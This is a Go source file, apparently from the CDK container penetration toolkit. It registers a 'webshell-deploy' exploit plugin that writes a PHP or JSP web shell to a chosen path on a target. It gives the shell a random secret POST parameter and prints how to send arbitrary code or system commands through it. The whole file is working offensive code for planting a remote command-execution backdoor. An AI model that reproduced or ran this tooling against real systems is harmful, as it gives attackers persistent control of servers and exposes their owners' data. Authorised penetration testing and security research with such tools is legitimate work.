// +build !no_deploy_webshell

package exploit

import (
	"fmt"
	"log"
	"strings"

	"github.com/cdk-team/CDK/conf"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

func deployWebShell(scriptType string, path string) error {
	var content string
	var param = "cdk_" + util.RandString(7)
	switch strings.ToLower(scriptType) {
	case "php":
		content = strings.ReplaceAll(conf.WebShellCodePHP, "$SECRET_PARAM", param)
	case "jsp":
		content = strings.ReplaceAll(conf.WebShellCodeJSP, "$SECRET_PARAM", param)
	default:
		return errors.New("invalid input args. Usage: cdk run deploy-webshell (php|jsp) <filepath>.")
	}
	err := util.WriteFile(path, content)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "write webshell content failed."}
	}
	fmt.Printf("\t%s webshell saved in %s\n\tsend codes or system command via post param: %s=(codes)\n", scriptType, path, param)
	return nil
}

// plugin interface
type webShellDeployS struct{}

func (p webShellDeployS) Desc() string {
	return "Write webshell to target path. Usage: cdk run webshell-deploy (php|jsp) <filepath>."
}

func (p webShellDeployS) Run() bool {

	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}

	fileType := args[0]
	path := args[1]
	err := deployWebShell(fileType, path)
	if err != nil {
		fmt.Println(err)
		return false
	}
	return true
}

func init() {
	exploit := webShellDeployS{}
	plugin.RegisterExploit("webshell-deploy", exploit)
}
